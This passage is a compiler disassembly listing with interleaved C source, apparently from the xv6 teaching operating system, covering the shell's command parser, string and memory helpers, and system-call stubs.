a7f: 85 c0 test %eax,%eax
a81: 75 0c jne a8f <parseblock+0x91>
panic("syntax - missing )");
a83: c7 04 24 82 15 00 00 movl $0x1582,(%esp)
a8a: e8 c8 f8 ff ff call 357 <panic>
gettoken(ps, es, 0, 0);
a8f: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
a96: 00
a97: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
a9e: 00
a9f: 8b 45 0c mov 0xc(%ebp),%eax
aa2: 89 44 24 04 mov %eax,0x4(%esp)
aa6: 8b 45 08 mov 0x8(%ebp),%eax
aa9: 89 04 24 mov %eax,(%esp)
aac: e8 81 fa ff ff call 532 <gettoken>
cmd = parseredirs(cmd, ps, es);
ab1: 8b 45 0c mov 0xc(%ebp),%eax
ab4: 89 44 24 08 mov %eax,0x8(%esp)
ab8: 8b 45 08 mov 0x8(%ebp),%eax
abb: 89 44 24 04 mov %eax,0x4(%esp)
abf: 8b 45 f4 mov -0xc(%ebp),%eax
ac2: 89 04 24 mov %eax,(%esp)
ac5: e8 0c fe ff ff call 8d6 <parseredirs>
aca: 89 45 f4 mov %eax,-0xc(%ebp)
return cmd;
acd: 8b 45 f4 mov -0xc(%ebp),%eax
}
ad0: c9 leave
ad1: c3 ret
00000ad2 <parseexec>:
struct cmd*
parseexec(char **ps, char *es)
{
ad2: 55 push %ebp
ad3: 89 e5 mov %esp,%ebp
ad5: 83 ec 38 sub $0x38,%esp
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
ad8: c7 44 24 08 73 15 00 movl $0x1573,0x8(%esp)
adf: 00
ae0: 8b 45 0c mov 0xc(%ebp),%eax
ae3: 89 44 24 04 mov %eax,0x4(%esp)
ae7: 8b 45 08 mov 0x8(%ebp),%eax
aea: 89 04 24 mov %eax,(%esp)
aed: e8 8b fb ff ff call 67d <peek>
af2: 85 c0 test %eax,%eax
af4: 74 17 je b0d <parseexec+0x3b>
return parseblock(ps, es);
af6: 8b 45 0c mov 0xc(%ebp),%eax
af9: 89 44 24 04 mov %eax,0x4(%esp)
afd: 8b 45 08 mov 0x8(%ebp),%eax
b00: 89 04 24 mov %eax,(%esp)
b03: e8 f6 fe ff ff call 9fe <parseblock>
b08: e9 09 01 00 00 jmp c16 <parseexec+0x144>
ret = execcmd();
b0d: e8 90 f8 ff ff call 3a2 <execcmd>
b12: 89 45 f0 mov %eax,-0x10(%ebp)
cmd = (struct execcmd*)ret;
b15: 8b 45 f0 mov -0x10(%ebp),%eax
b18: 89 45 ec mov %eax,-0x14(%ebp)
argc = 0;
b1b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
ret = parseredirs(ret, ps, es);
b22: 8b 45 0c mov 0xc(%ebp),%eax
b25: 89 44 24 08 mov %eax,0x8(%esp)
b29: 8b 45 08 mov 0x8(%ebp),%eax
b2c: 89 44 24 04 mov %eax,0x4(%esp)
b30: 8b 45 f0 mov -0x10(%ebp),%eax
b33: 89 04 24 mov %eax,(%esp)
b36: e8 9b fd ff ff call 8d6 <parseredirs>
b3b: 89 45 f0 mov %eax,-0x10(%ebp)
while(!peek(ps, es, "|)&;")){
b3e: e9 8f 00 00 00 jmp bd2 <parseexec+0x100>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
b43: 8d 45 e0 lea -0x20(%ebp),%eax
b46: 89 44 24 0c mov %eax,0xc(%esp)
b4a: 8d 45 e4 lea -0x1c(%ebp),%eax
b4d: 89 44 24 08 mov %eax,0x8(%esp)
b51: 8b 45 0c mov 0xc(%ebp),%eax
b54: 89 44 24 04 mov %eax,0x4(%esp)
b58: 8b 45 08 mov 0x8(%ebp),%eax
b5b: 89 04 24 mov %eax,(%esp)
b5e: e8 cf f9 ff ff call 532 <gettoken>
b63: 89 45 e8 mov %eax,-0x18(%ebp)
b66: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
b6a: 75 05 jne b71 <parseexec+0x9f>
break;
b6c: e9 83 00 00 00 jmp bf4 <parseexec+0x122>
if(tok != 'a')
b71: 83 7d e8 61 cmpl $0x61,-0x18(%ebp)
b75: 74 0c je b83 <parseexec+0xb1>
panic("syntax");
b77: c7 04 24 46 15 00 00 movl $0x1546,(%esp)
b7e: e8 d4 f7 ff ff call 357 <panic>
cmd->argv[argc] = q;
b83: 8b 4d e4 mov -0x1c(%ebp),%ecx
b86: 8b 45 ec mov -0x14(%ebp),%eax
b89: 8b 55 f4 mov -0xc(%ebp),%edx
b8c: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4)
cmd->eargv[argc] = eq;
b90: 8b 55 e0 mov -0x20(%ebp),%edx
b93: 8b 45 ec mov -0x14(%ebp),%eax
b96: 8b 4d f4 mov -0xc(%ebp),%ecx
b99: 83 c1 08 add $0x8,%ecx
b9c: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4)
argc++;
ba0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(argc >= MAXARGS)
ba4: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
ba8: 7e 0c jle bb6 <parseexec+0xe4>
panic("too many args");
baa: c7 04 24 95 15 00 00 movl $0x1595,(%esp)
bb1: e8 a1 f7 ff ff call 357 <panic>
ret = parseredirs(ret, ps, es);
bb6: 8b 45 0c mov 0xc(%ebp),%eax
bb9: 89 44 24 08 mov %eax,0x8(%esp)
bbd: 8b 45 08 mov 0x8(%ebp),%eax
bc0: 89 44 24 04 mov %eax,0x4(%esp)
bc4: 8b 45 f0 mov -0x10(%ebp),%eax
bc7: 89 04 24 mov %eax,(%esp)
bca: e8 07 fd ff ff call 8d6 <parseredirs>
bcf: 89 45 f0 mov %eax,-0x10(%ebp)
ret = execcmd();
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
while(!peek(ps, es, "|)&;")){
bd2: c7 44 24 08 a3 15 00 movl $0x15a3,0x8(%esp)
bd9: 00
bda: 8b 45 0c mov 0xc(%ebp),%eax
bdd: 89 44 24 04 mov %eax,0x4(%esp)
be1: 8b 45 08 mov 0x8(%ebp),%eax
be4: 89 04 24 mov %eax,(%esp)
be7: e8 91 fa ff ff call 67d <peek>
bec: 85 c0 test %eax,%eax
bee: 0f 84 4f ff ff ff je b43 <parseexec+0x71>
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
bf4: 8b 45 ec mov -0x14(%ebp),%eax
bf7: 8b 55 f4 mov -0xc(%ebp),%edx
bfa: c7 44 90 04 00 00 00 movl $0x0,0x4(%eax,%edx,4)
c01: 00
cmd->eargv[argc] = 0;
c02: 8b 45 ec mov -0x14(%ebp),%eax
c05: 8b 55 f4 mov -0xc(%ebp),%edx
c08: 83 c2 08 add $0x8,%edx
c0b: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4)
c12: 00
return ret;
c13: 8b 45 f0 mov -0x10(%ebp),%eax
}
c16: c9 leave
c17: c3 ret
00000c18 <nulterminate>:
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
c18: 55 push %ebp
c19: 89 e5 mov %esp,%ebp
c1b: 83 ec 38 sub $0x38,%esp
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
c1e: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
c22: 75 0a jne c2e <nulterminate+0x16>
return 0;
c24: b8 00 00 00 00 mov $0x0,%eax
c29: e9 c9 00 00 00 jmp cf7 <nulterminate+0xdf>
switch(cmd->type){
c2e: 8b 45 08 mov 0x8(%ebp),%eax
c31: 8b 00 mov (%eax),%eax
c33: 83 f8 05 cmp $0x5,%eax
c36: 0f 87 b8 00 00 00 ja cf4 <nulterminate+0xdc>
c3c: 8b 04 85 a8 15 00 00 mov 0x15a8(,%eax,4),%eax
c43: ff e0 jmp *%eax
case EXEC:
ecmd = (struct execcmd*)cmd;
c45: 8b 45 08 mov 0x8(%ebp),%eax
c48: 89 45 f0 mov %eax,-0x10(%ebp)
for(i=0; ecmd->argv[i]; i++)
c4b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
c52: eb 14 jmp c68 <nulterminate+0x50>
*ecmd->eargv[i] = 0;
c54: 8b 45 f0 mov -0x10(%ebp),%eax
c57: 8b 55 f4 mov -0xc(%ebp),%edx
c5a: 83 c2 08 add $0x8,%edx
c5d: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
c61: c6 00 00 movb $0x0,(%eax)
return 0;
switch(cmd->type){
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
c64: 83 45 f4 01 addl $0x1,-0xc(%ebp)
c68: 8b 45 f0 mov -0x10(%ebp),%eax
c6b: 8b 55 f4 mov -0xc(%ebp),%edx
c6e: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax
c72: 85 c0 test %eax,%eax
c74: 75 de jne c54 <nulterminate+0x3c>
*ecmd->eargv[i] = 0;
break;
c76: eb 7c jmp cf4 <nulterminate+0xdc>
case REDIR:
rcmd = (struct redircmd*)cmd;
c78: 8b 45 08 mov 0x8(%ebp),%eax
c7b: 89 45 ec mov %eax,-0x14(%ebp)
nulterminate(rcmd->cmd);
c7e: 8b 45 ec mov -0x14(%ebp),%eax
c81: 8b 40 04 mov 0x4(%eax),%eax
c84: 89 04 24 mov %eax,(%esp)
c87: e8 8c ff ff ff call c18 <nulterminate>
*rcmd->efile = 0;
c8c: 8b 45 ec mov -0x14(%ebp),%eax
c8f: 8b 40 0c mov 0xc(%eax),%eax
c92: c6 00 00 movb $0x0,(%eax)
break;
c95: eb 5d jmp cf4 <nulterminate+0xdc>
case PIPE:
pcmd = (struct pipecmd*)cmd;
c97: 8b 45 08 mov 0x8(%ebp),%eax
c9a: 89 45 e8 mov %eax,-0x18(%ebp)
nulterminate(pcmd->left);
c9d: 8b 45 e8 mov -0x18(%ebp),%eax
ca0: 8b 40 04 mov 0x4(%eax),%eax
ca3: 89 04 24 mov %eax,(%esp)
ca6: e8 6d ff ff ff call c18 <nulterminate>
nulterminate(pcmd->right);
cab: 8b 45 e8 mov -0x18(%ebp),%eax
cae: 8b 40 08 mov 0x8(%eax),%eax
cb1: 89 04 24 mov %eax,(%esp)
cb4: e8 5f ff ff ff call c18 <nulterminate>
break;
cb9: eb 39 jmp cf4 <nulterminate+0xdc>
case LIST:
lcmd = (struct listcmd*)cmd;
cbb: 8b 45 08 mov 0x8(%ebp),%eax
cbe: 89 45 e4 mov %eax,-0x1c(%ebp)
nulterminate(lcmd->left);
cc1: 8b 45 e4 mov -0x1c(%ebp),%eax
cc4: 8b 40 04 mov 0x4(%eax),%eax
cc7: 89 04 24 mov %eax,(%esp)
cca: e8 49 ff ff ff call c18 <nulterminate>
nulterminate(lcmd->right);
ccf: 8b 45 e4 mov -0x1c(%ebp),%eax
cd2: 8b 40 08 mov 0x8(%eax),%eax
cd5: 89 04 24 mov %eax,(%esp)
cd8: e8 3b ff ff ff call c18 <nulterminate>
break;
cdd: eb 15 jmp cf4 <nulterminate+0xdc>
case BACK:
bcmd = (struct backcmd*)cmd;
cdf: 8b 45 08 mov 0x8(%ebp),%eax
ce2: 89 45 e0 mov %eax,-0x20(%ebp)
nulterminate(bcmd->cmd);
ce5: 8b 45 e0 mov -0x20(%ebp),%eax
ce8: 8b 40 04 mov 0x4(%eax),%eax
ceb: 89 04 24 mov %eax,(%esp)
cee: e8 25 ff ff ff call c18 <nulterminate>
break;
cf3: 90 nop
}
return cmd;
cf4: 8b 45 08 mov 0x8(%ebp),%eax
}
cf7: c9 leave
cf8: c3 ret
00000cf9 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
cf9: 55 push %ebp
cfa: 89 e5 mov %esp,%ebp
cfc: 57 push %edi
cfd: 53 push %ebx
asm volatile("cld; rep stosb" :
cfe: 8b 4d 08 mov 0x8(%ebp),%ecx
d01: 8b 55 10 mov 0x10(%ebp),%edx
d04: 8b 45 0c mov 0xc(%ebp),%eax
d07: 89 cb mov %ecx,%ebx
d09: 89 df mov %ebx,%edi
d0b: 89 d1 mov %edx,%ecx
d0d: fc cld
d0e: f3 aa rep stos %al,%es:(%edi)
d10: 89 ca mov %ecx,%edx
d12: 89 fb mov %edi,%ebx
d14: 89 5d 08 mov %ebx,0x8(%ebp)
d17: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
d1a: 5b pop %ebx
d1b: 5f pop %edi
d1c: 5d pop %ebp
d1d: c3 ret
00000d1e <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
d1e: 55 push %ebp
d1f: 89 e5 mov %esp,%ebp
d21: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
d24: 8b 45 08 mov 0x8(%ebp),%eax
d27: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
d2a: 90 nop
d2b: 8b 45 08 mov 0x8(%ebp),%eax
d2e: 8d 50 01 lea 0x1(%eax),%edx
d31: 89 55 08 mov %edx,0x8(%ebp)
d34: 8b 55 0c mov 0xc(%ebp),%edx
d37: 8d 4a 01 lea 0x1(%edx),%ecx
d3a: 89 4d 0c mov %ecx,0xc(%ebp)
d3d: 0f b6 12 movzbl (%edx),%edx
d40: 88 10 mov %dl,(%eax)
d42: 0f b6 00 movzbl (%eax),%eax
d45: 84 c0 test %al,%al
d47: 75 e2 jne d2b <strcpy+0xd>
;
return os;
d49: 8b 45 fc mov -0x4(%ebp),%eax
}
d4c: c9 leave
d4d: c3 ret
00000d4e <strcmp>:
int
strcmp(const char *p, const char *q)
{
d4e: 55 push %ebp
d4f: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
d51: eb 08 jmp d5b <strcmp+0xd>
p++, q++;
d53: 83 45 08 01 addl $0x1,0x8(%ebp)
d57: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
d5b: 8b 45 08 mov 0x8(%ebp),%eax
d5e: 0f b6 00 movzbl (%eax),%eax
d61: 84 c0 test %al,%al
d63: 74 10 je d75 <strcmp+0x27>
d65: 8b 45 08 mov 0x8(%ebp),%eax
d68: 0f b6 10 movzbl (%eax),%edx
d6b: 8b 45 0c mov 0xc(%ebp),%eax
d6e: 0f b6 00 movzbl (%eax),%eax
d71: 38 c2 cmp %al,%dl
d73: 74 de je d53 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
d75: 8b 45 08 mov 0x8(%ebp),%eax
d78: 0f b6 00 movzbl (%eax),%eax
d7b: 0f b6 d0 movzbl %al,%edx
d7e: 8b 45 0c mov 0xc(%ebp),%eax
d81: 0f b6 00 movzbl (%eax),%eax
d84: 0f b6 c0 movzbl %al,%eax
d87: 29 c2 sub %eax,%edx
d89: 89 d0 mov %edx,%eax
}
d8b: 5d pop %ebp
d8c: c3 ret
00000d8d <strlen>:
uint
strlen(char *s)
{
d8d: 55 push %ebp
d8e: 89 e5 mov %esp,%ebp
d90: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
d93: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
d9a: eb 04 jmp da0 <strlen+0x13>
d9c: 83 45 fc 01 addl $0x1,-0x4(%ebp)
da0: 8b 55 fc mov -0x4(%ebp),%edx
da3: 8b 45 08 mov 0x8(%ebp),%eax
da6: 01 d0 add %edx,%eax
da8: 0f b6 00 movzbl (%eax),%eax
dab: 84 c0 test %al,%al
dad: 75 ed jne d9c <strlen+0xf>
;
return n;
daf: 8b 45 fc mov -0x4(%ebp),%eax
}
db2: c9 leave
db3: c3 ret
00000db4 <memset>:
void*
memset(void *dst, int c, uint n)
{
db4: 55 push %ebp
db5: 89 e5 mov %esp,%ebp
db7: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
dba: 8b 45 10 mov 0x10(%ebp),%eax
dbd: 89 44 24 08 mov %eax,0x8(%esp)
dc1: 8b 45 0c mov 0xc(%ebp),%eax
dc4: 89 44 24 04 mov %eax,0x4(%esp)
dc8: 8b 45 08 mov 0x8(%ebp),%eax
dcb: 89 04 24 mov %eax,(%esp)
dce: e8 26 ff ff ff call cf9 <stosb>
return dst;
dd3: 8b 45 08 mov 0x8(%ebp),%eax
}
dd6: c9 leave
dd7: c3 ret
00000dd8 <strchr>:
char*
strchr(const char *s, char c)
{
dd8: 55 push %ebp
dd9: 89 e5 mov %esp,%ebp
ddb: 83 ec 04 sub $0x4,%esp
dde: 8b 45 0c mov 0xc(%ebp),%eax
de1: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
de4: eb 14 jmp dfa <strchr+0x22>
if(*s == c)
de6: 8b 45 08 mov 0x8(%ebp),%eax
de9: 0f b6 00 movzbl (%eax),%eax
dec: 3a 45 fc cmp -0x4(%ebp),%al
def: 75 05 jne df6 <strchr+0x1e>
return (char*)s;
df1: 8b 45 08 mov 0x8(%ebp),%eax
df4: eb 13 jmp e09 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
df6: 83 45 08 01 addl $0x1,0x8(%ebp)
dfa: 8b 45 08 mov 0x8(%ebp),%eax
dfd: 0f b6 00 movzbl (%eax),%eax
e00: 84 c0 test %al,%al
e02: 75 e2 jne de6 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
e04: b8 00 00 00 00 mov $0x0,%eax
}
e09: c9 leave
e0a: c3 ret
00000e0b <gets>:
char*
gets(char *buf, int max)
{
e0b: 55 push %ebp
e0c: 89 e5 mov %esp,%ebp
e0e: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
e11: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
e18: eb 4c jmp e66 <gets+0x5b>
cc = read(0, &c, 1);
e1a: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
e21: 00
e22: 8d 45 ef lea -0x11(%ebp),%eax
e25: 89 44 24 04 mov %eax,0x4(%esp)
e29: c7 04 24 00 00 00 00 movl $0x0,(%esp)
e30: e8 44 01 00 00 call f79 <read>
e35: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
e38: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
e3c: 7f 02 jg e40 <gets+0x35>
break;
e3e: eb 31 jmp e71 <gets+0x66>
buf[i++] = c;
e40: 8b 45 f4 mov -0xc(%ebp),%eax
e43: 8d 50 01 lea 0x1(%eax),%edx
e46: 89 55 f4 mov %edx,-0xc(%ebp)
e49: 89 c2 mov %eax,%edx
e4b: 8b 45 08 mov 0x8(%ebp),%eax
e4e: 01 c2 add %eax,%edx
e50: 0f b6 45 ef movzbl -0x11(%ebp),%eax
e54: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
e56: 0f b6 45 ef movzbl -0x11(%ebp),%eax
e5a: 3c 0a cmp $0xa,%al
e5c: 74 13 je e71 <gets+0x66>
e5e: 0f b6 45 ef movzbl -0x11(%ebp),%eax
e62: 3c 0d cmp $0xd,%al
e64: 74 0b je e71 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
e66: 8b 45 f4 mov -0xc(%ebp),%eax
e69: 83 c0 01 add $0x1,%eax
e6c: 3b 45 0c cmp 0xc(%ebp),%eax
e6f: 7c a9 jl e1a <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
e71: 8b 55 f4 mov -0xc(%ebp),%edx
e74: 8b 45 08 mov 0x8(%ebp),%eax
e77: 01 d0 add %edx,%eax
e79: c6 00 00 movb $0x0,(%eax)
return buf;
e7c: 8b 45 08 mov 0x8(%ebp),%eax
}
e7f: c9 leave
e80: c3 ret
00000e81 <stat>:
int
stat(char *n, struct stat *st)
{
e81: 55 push %ebp
e82: 89 e5 mov %esp,%ebp
e84: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
e87: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
e8e: 00
e8f: 8b 45 08 mov 0x8(%ebp),%eax
e92: 89 04 24 mov %eax,(%esp)
e95: e8 07 01 00 00 call fa1 <open>
e9a: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
e9d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
ea1: 79 07 jns eaa <stat+0x29>
return -1;
ea3: b8 ff ff ff ff mov $0xffffffff,%eax
ea8: eb 23 jmp ecd <stat+0x4c>
r = fstat(fd, st);
eaa: 8b 45 0c mov 0xc(%ebp),%eax
ead: 89 44 24 04 mov %eax,0x4(%esp)
eb1: 8b 45 f4 mov -0xc(%ebp),%eax
eb4: 89 04 24 mov %eax,(%esp)
eb7: e8 fd 00 00 00 call fb9 <fstat>
ebc: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
ebf: 8b 45 f4 mov -0xc(%ebp),%eax
ec2: 89 04 24 mov %eax,(%esp)
ec5: e8 bf 00 00 00 call f89 <close>
return r;
eca: 8b 45 f0 mov -0x10(%ebp),%eax
}
ecd: c9 leave
ece: c3 ret
00000ecf <atoi>:
int
atoi(const char *s)
{
ecf: 55 push %ebp
ed0: 89 e5 mov %esp,%ebp
ed2: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
ed5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
edc: eb 25 jmp f03 <atoi+0x34>
n = n*10 + *s++ - '0';
ede: 8b 55 fc mov -0x4(%ebp),%edx
ee1: 89 d0 mov %edx,%eax
ee3: c1 e0 02 shl $0x2,%eax
ee6: 01 d0 add %edx,%eax
ee8: 01 c0 add %eax,%eax
eea: 89 c1 mov %eax,%ecx
eec: 8b 45 08 mov 0x8(%ebp),%eax
eef: 8d 50 01 lea 0x1(%eax),%edx
ef2: 89 55 08 mov %edx,0x8(%ebp)
ef5: 0f b6 00 movzbl (%eax),%eax
ef8: 0f be c0 movsbl %al,%eax
efb: 01 c8 add %ecx,%eax
efd: 83 e8 30 sub $0x30,%eax
f00: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
f03: 8b 45 08 mov 0x8(%ebp),%eax
f06: 0f b6 00 movzbl (%eax),%eax
f09: 3c 2f cmp $0x2f,%al
f0b: 7e 0a jle f17 <atoi+0x48>
f0d: 8b 45 08 mov 0x8(%ebp),%eax
f10: 0f b6 00 movzbl (%eax),%eax
f13: 3c 39 cmp $0x39,%al
f15: 7e c7 jle ede <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
f17: 8b 45 fc mov -0x4(%ebp),%eax
}
f1a: c9 leave
f1b: c3 ret
00000f1c <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
f1c: 55 push %ebp
f1d: 89 e5 mov %esp,%ebp
f1f: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
f22: 8b 45 08 mov 0x8(%ebp),%eax
f25: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
f28: 8b 45 0c mov 0xc(%ebp),%eax
f2b: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
f2e: eb 17 jmp f47 <memmove+0x2b>
*dst++ = *src++;
f30: 8b 45 fc mov -0x4(%ebp),%eax
f33: 8d 50 01 lea 0x1(%eax),%edx
f36: 89 55 fc mov %edx,-0x4(%ebp)
f39: 8b 55 f8 mov -0x8(%ebp),%edx
f3c: 8d 4a 01 lea 0x1(%edx),%ecx
f3f: 89 4d f8 mov %ecx,-0x8(%ebp)
f42: 0f b6 12 movzbl (%edx),%edx
f45: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
f47: 8b 45 10 mov 0x10(%ebp),%eax
f4a: 8d 50 ff lea -0x1(%eax),%edx
f4d: 89 55 10 mov %edx,0x10(%ebp)
f50: 85 c0 test %eax,%eax
f52: 7f dc jg f30 <memmove+0x14>
*dst++ = *src++;
return vdst;
f54: 8b 45 08 mov 0x8(%ebp),%eax
}
f57: c9 leave
f58: c3 ret
00000f59 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
f59: b8 01 00 00 00 mov $0x1,%eax
f5e: cd 40 int $0x40
f60: c3 ret
00000f61 <exit>:
SYSCALL(exit)
f61: b8 02 00 00 00 mov $0x2,%eax
f66: cd 40 int $0x40
f68: c3 ret
00000f69 <wait>:
SYSCALL(wait)
f69: b8 03 00 00 00 mov $0x3,%eax
f6e: cd 40 int $0x40
f70: c3 ret
00000f71 <pipe>:
SYSCALL(pipe)
f71: b8 04 00 00 00 mov $0x4,%eax
f76: cd 40 int $0x40
f78: c3 ret
00000f79 <read>:
SYSCALL(read)
f79: b8 05 00 00 00 mov $0x5,%eax
f7e: cd 40 int $0x40
f80: c3 ret
00000f81 <write>:
SYSCALL(write)
f81: b8 10 00 00 00 mov $0x10,%eax
f86: cd 40 int $0x40
f88: c3 ret
00000f89 <close>:
SYSCALL(close)
f89: b8 15 00 00 00 mov $0x15,%eax
f8e: cd 40 int $0x40
f90: c3 ret
00000f91 <kill>:
SYSCALL(kill)
f91: b8 06 00 00 00 mov $0x6,%eax
f96: cd 40 int $0x40
f98: c3 ret
00000f99 <exec>:
SYSCALL(exec)
f99: b8 07 00 00 00 mov $0x7,%eax
f9e: cd 40 int $0x40
fa0: c3 ret
00000fa1 <open>:
SYSCALL(open)
fa1: b8 0f 00 00 00 mov $0xf,%eax
fa6: cd 40 int $0x40
fa8: c3 ret
00000fa9 <mknod>:
SYSCALL(mknod)
fa9: b8 11 00 00 00 mov $0x11,%eax
fae: cd 40 int $0x40
fb0: c3 ret
00000fb1 <unlink>:
SYSCALL(unlink)
fb1: b8 12 00 00 00 mov $0x12,%eax
fb6: cd 40 int $0x40
fb8: c3 ret
00000fb9 <fstat>:
SYSCALL(fstat)
fb9: b8 08 00 00 00 mov $0x8,%eax
fbe: cd 40 int $0x40
fc0: c3 ret
00000fc1 <link>:
SYSCALL(link)
fc1: b8 13 00 00 00 mov $0x13,%eax
fc6: cd 40 int $0x40
fc8: c3 ret
00000fc9 <mkdir>:
SYSCALL(mkdir)
fc9: b8 14 00 00 00 mov $0x14,%eax
fce: cd 40 int $0x40
fd0: c3 ret
00000fd1 <chdir>:
SYSCALL(chdir)
fd1: b8 09 00 00 00 mov $0x9,%eax
fd6: cd 40 int $0x40
fd8: c3 ret
00000fd9 <dup>:
SYSCALL(dup)
fd9: b8 0a 00 00 00 mov $0xa,%eax
fde: cd 40 int $0x40
fe0: c3 ret
00000fe1 <getpid>:
SYSCALL(getpid)
fe1: b8 0b 00 00 00 mov $0xb,%eax
fe6: cd 40 int $0x40
fe8: c3 ret
00000fe9 <sbrk>:
SYSCALL(sbrk)
fe9: b8 0c 00 00 00 mov $0xc,%eax
fee: cd 40 int $0x40
ff0: c3 ret
00000ff1 <sleep>:
SYSCALL(sleep)
ff1: b8 0d 00 00 00 mov $0xd,%eax
ff6: cd 40 int $0x40
ff8: c3 ret
00000ff9 <uptime>:
SYSCALL(uptime)
ff9: b8 0e 00 00 00 mov $0xe,%eax
ffe: cd 40 int $0x40
1000: c3 ret
00001001 <sigset>:
SYSCALL(sigset)
1001: b8 16 00 00 00 mov $0x16,%eax
1006: cd 40 int $0x40
1008: c3 ret
00001009 <sigsend>:
SYSCALL(sigsend)
1009: b8 17 00 00 00 mov $0x17,%eax
100e: cd 40 int $0x40
1010: c3 ret
00001011 <sigret>:
SYSCALL(sigret)
1011: b8 18 00 00 00 mov $0x18,%eax
1016: cd 40 int $0x40
1018: c3 ret
00001019 <sigpause>:
SYSCALL(sigpause)
1019: b8 19 00 00 00 mov $0x19,%eax
101e: cd 40 int $0x40
1020: c3 ret
00001021 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
1021: 55 push %ebp
1022: 89 e5 mov %esp,%ebp
1024: 83 ec 18 sub $0x18,%esp
1027: 8b 45 0c mov 0xc(%ebp),%eax
102a: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
102d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1034: 00
1035: 8d 45 f4 lea -0xc(%ebp),%eax
1038: 89 44 24 04 mov %eax,0x4(%esp)
103c: 8b 45 08 mov 0x8(%ebp),%eax
103f: 89 04 24 mov %eax,(%esp)
1042: e8 3a ff ff ff call f81 <write>
}
1047: c9 leave
1048: c3 ret
00001049 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
1049: 55 push %ebp
104a: 89 e5 mov %esp,%ebp
104c: 56 push %esi
104d: 53 push %ebx
104e: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
1051: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
1058: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
105c: 74 17 je 1075 <printint+0x2c>
105e: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
1062: 79 11 jns 1075 <printint+0x2c>
neg = 1;
1064: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
106b: 8b 45 0c mov 0xc(%ebp),%eax
106e: f7 d8 neg %eax
1070: 89 45 ec mov %eax,-0x14(%ebp)
1073: eb 06 jmp 107b <printint+0x32>
} else {
x = xx;
1075: 8b 45 0c mov 0xc(%ebp),%eax
